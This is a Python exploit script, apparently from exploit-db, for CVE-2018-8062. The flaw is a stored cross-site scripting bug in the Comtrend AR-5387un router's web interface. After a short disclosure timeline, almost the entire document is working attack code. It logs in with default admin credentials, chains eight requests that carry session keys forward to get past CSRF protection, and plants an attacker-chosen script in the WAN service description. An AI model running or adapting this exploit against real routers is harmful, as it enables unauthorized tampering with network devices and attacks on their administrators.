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#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Exploit Title: Persistent XSS on Comtrend AR-5387un router Date: 19/10/2020 Exploit Author: OscarAkaElvis Vendor Homepage: https://www.comtrend.com/ Version: Comtrend AR-5387un router Tested on: Software/Firmware version A731-410JAZ-C04_R02.A2pD035g.d23i CVE: CVE-2018-8062 Disclosure timeline: 08/03/2018: Vulnerability was discovered 10/03/2018: Reported to Mitre (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8062) 11/03/2018: Mitre answered, CVE number reserved 11/03/2018: Reported to Comtrend as part of responsible disclosure, they never answered 16/10/2020: Two years later, reported again to Comtrend and public disclosure (https://twitter.com/OscarAkaElvis/status/1317004119509471233) 18/10/2020: Exploit creation 19/10/2020: Exploit sent to exploit-db Exploitation explanation: To exploit this vulnerability, once logged into the router, a WAN service must be created Click on "Advanced Setup", "WAN Service". "Add button", "Next" Then insert the payload into the "Enter Service Description" field. This was used for the PoC <script>alert('xss');</script> Then click on "Next" four times to go on through the steps and finally click on "Apply/Save" The result of the XSS will be displayed and triggered on the WAN services page This exploit automatize the entire process bypassing CSRF protection and allowing to set a custom XSS payload Happy hacking :) OscarAkaElvis - https://twitter.com/OscarAkaElvis """ # Dependencies and libraries import requests from requests.auth import HTTPBasicAuth import re from sys import argv, exit import argparse from os import path from time import sleep class Exploit(object): # Global class vars session = requests.Session() user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36" ip = None username = None password = None payload = None default_ip = "192.168.1.1" default_username = "admin" default_password = "admin" default_payload = "<script>alert('xss');</script>" exploit_version = "1.0" current_sessionkey = None referer_sessionkey = None script_name = path.basename(argv[0]) description_text = 'CVE-2018-8062 exploit by OscarAkaElvis, Persistent XSS on Comtrend AR-5387un router' epilog_text = 'Examples:\npython3 ' + script_name + ' -i 192.168.0.150\npython3 ' + script_name + ' -u admin -p mySecureRouterP@ss\npython3 ' + script_name + ' -i 10.0.0.1 -u admin -p mySecureRouterP@ss -x \'<script>evil_js_stuff</script>\'' def start_msg(self): print("[*] Starting CVE-2018-8062 exploit...") sleep(0.5) def check_params(self, arguments): parser = argparse.ArgumentParser(description=self.description_text, formatter_class=argparse.RawDescriptionHelpFormatter, epilog=self.epilog_text) parser.add_argument('-i', '--ip', dest='ip', required=False, help="set router's ip", metavar='IP') parser.add_argument('-u', '--username', dest='username', required=False, help="set user to login on router", metavar='USERNAME') parser.add_argument('-p', '--password', dest='password', required=False, help="set password to login on router", metavar='PASSWORD') parser.add_argument('-x', '--xss-payload', dest='payload', required=False, help="set xss payload", metavar='PAYLOAD') parser.add_argument('-v', '--version', action='version', version=self.print_version(), help="show exploit's version number and exit") args = parser.parse_args(arguments) self.start_msg() print("[*] Launch the exploit using -h argument to check all the available options") print() if not args.ip: self.ip = self.default_ip print("[!] Warning, no ip set, default will be used: " + str(self.ip)) else: self.ip = args.ip if not args.username: self.username = self.default_username print("[!] Warning, no username set, default will be used: " + str(self.username)) else: self.username = args.username if not args.password: self.password = self.default_password print("[!] Warning, no password set, default will be used: " + str(self.password)) else: self.password = args.password if not args.payload: self.payload = self.default_payload print("[!] Warning, no XSS payload set, PoC default will be used: " + str(self.payload)) else: self.password = args.password def print_version(self): print() return 'v{}'.format(self.exploit_version) def check_router(self): try: print() print("[*] Trying to detect router...") headers = {"User-Agent": self.user_agent} response = self.session.get("http://" + str(self.ip) + "/", headers=headers) if re.match(r'.*WWW-Authenticate.*Broadband Router.*', str(response.headers)): print("[+] Comtrend router detected successfully") else: print() print("[-] It seems the target is not a Comtrend router") print("[*] Exiting...") exit(1) except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError): print() print("[-] Can't connect to the router") print("[*] Exiting...") exit(1) def check_login(self): print() print("[*] Trying to login...") headers = {"User-Agent": self.user_agent} response = self.session.get("http://" + str(self.ip) + "/", headers=headers, auth=HTTPBasicAuth(self.username, self.password)) if response.status_code != 401: print("[+] Login successfully!") sleep(1) else: print() print("[-] Can't login into the router. Check your creds!") print("[*] Exiting...") exit(1) def get_sessionKey(self, response_text): sessionKey = re.search(r'.*sessionKey=([0-9]+).*', str(response_text)) if sessionKey is not None: sessionKey = sessionKey.group(1) else: sessionKey = re.search(r'.*sessionKey=\\\'([0-9]+).*', str(response_text), re.MULTILINE) if sessionKey is not None: sessionKey = sessionKey.group(1) return sessionKey def step1(self): print() print("[*] Performing step 1/8. Getting initial sessionKey to bypass CSRF protection...") headers = {"User-Agent": self.user_agent} response = self.session.get("http://" + str(self.ip) + "/wancfg.cmd", headers=headers, auth=HTTPBasicAuth(self.username, self.password)) self.current_sessionkey = self.get_sessionKey(response.content) print("[+] Success! Initial sessionKey: " + self.current_sessionkey) sleep(1) def step2(self): print() print("[*] Performing step 2/8...") paramsGet = {"sessionKey": self.current_sessionkey, "serviceId": "0"} headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wancfg.cmd"} response = self.session.get("http://" + str(self.ip) + "/wanifc.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password)) self.referer_sessionkey = self.current_sessionkey self.current_sessionkey = self.get_sessionKey(response.content) sleep(1) def step3(self): print() print("[*] Performing step 3/8...") paramsGet = {"sessionKey": self.current_sessionkey, "wanL2IfName": "atm0/(0_8_35)"} headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wanifc.cmd?serviceId=0&sessionKey=" + self.referer_sessionkey} response = self.session.get("http://" + str(self.ip) + "/wansrvc.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password)) self.referer_sessionkey = self.current_sessionkey self.current_sessionkey = self.get_sessionKey(response.content) sleep(1) def step4(self): print() print("[*] Performing step 4/8...") paramsGet = {"vlanMuxPr": "-1", "sessionKey": self.current_sessionkey, "vlanMuxId": "-1", "ntwkPrtcl": "0", "enVlanMux": "1", "enblEnetWan": "0", "serviceName": self.payload} headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/wansrvc.cmd?wanL2IfName=atm0/(0_8_35)&sessionKey=" + self.referer_sessionkey} response = self.session.get("http://" + str(self.ip) + "/pppoe.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password)) self.referer_sessionkey = self.current_sessionkey self.current_sessionkey = self.get_sessionKey(response.content) sleep(1) def step5(self): print() print("[*] Performing step 5/8...") paramsGet = {"useStaticIpAddress": "0", "pppLocalIpAddress": "0.0.0.0", "sessionKey": self.current_sessionkey, "enblIgmp": "0", "enblFullcone": "0", "pppTimeOut": "0", "pppAuthErrorRetry": "0", "pppServerName": "", "enblPppDebug": "0", "pppPassword": "", "enblNat": "0", "enblOnDemand": "0", "pppUserName": "", "pppIpExtension": "0", "enblFirewall": "0", "pppAuthMethod": "0", "pppToBridge": "0"} headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/pppoe.cgi?enblEnetWan=0&ntwkPrtcl=0&enVlanMux=1&vlanMuxId=-1&vlanMuxPr=-1&serviceName=pppoe_0_8_35&sessionKey=" + self.referer_sessionkey} response = self.session.get("http://" + str(self.ip) + "/ifcgateway.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password)) self.referer_sessionkey = self.current_sessionkey self.current_sessionkey = self.get_sessionKey(response.content) sleep(1) def step6(self): print() print("[*] Performing step 6/8...") paramsGet = {"sessionKey": self.current_sessionkey, "defaultGatewayList": "ppp0.1"} headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ifcgateway.cgi?pppUserName=&pppPassword=&enblOnDemand=0&pppTimeOut=0&useStaticIpAddress=0&pppLocalIpAddress=0.0.0.0&pppIpExtension=0&enblNat=0&enblFirewall=0&enblFullcone=0&pppAuthMethod=0&pppServerName=&pppAuthErrorRetry=0&enblPppDebug=0&pppToBridge=0&enblIgmp=0&sessionKey=" + self.referer_sessionkey} response = self.session.get("http://" + str(self.ip) + "/ifcdns.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password)) self.referer_sessionkey = self.current_sessionkey self.current_sessionkey = self.get_sessionKey(response.content) sleep(1) def step7(self): print() print("[*] Performing step 7/8...") paramsGet = {"dnsRefresh": "1", "sessionKey": self.current_sessionkey, "dnsPrimary": "1.1.1.1", "dnsSecondary": "8.8.8.8"} headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ifcdns.cgi?defaultGatewayList=ppp0.1&sessionKey=" + self.referer_sessionkey} response = self.session.get("http://" + str(self.ip) + "/ntwksum2.cgi", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password)) self.referer_sessionkey = self.current_sessionkey self.current_sessionkey = self.get_sessionKey(response.content) sleep(1) def final_step8(self): print() print("[*] Performing final step 8/8. Deploying XSS payload...") paramsGet = {"sessionKey": self.current_sessionkey, "action": "add"} headers = {"User-Agent": self.user_agent, "Referer": "http://" + str(self.ip) + "/ntwksum2.cgi?dnsPrimary=1.1.1.1&dnsSecondary=8.8.8.8&dnsRefresh=1&sessionKey=" + self.referer_sessionkey} self.session.get("http://" + str(self.ip) + "/wancfg.cmd", params=paramsGet, headers=headers, auth=HTTPBasicAuth(self.username, self.password)) print() print("[+] XSS payload deployed successfully") print("[+] Happy hacking :) . Author: OscarAkaElvis") @staticmethod def main(self, arguments): self.check_params(arguments) self.check_router() self.check_login() self.step1() self.step2() self.step3() self.step4() self.step5() self.step6() self.step7() self.final_step8() exit(0) if __name__ == '__main__': ImportObject = Exploit() ImportObject.main(ImportObject, argv[1:]) |
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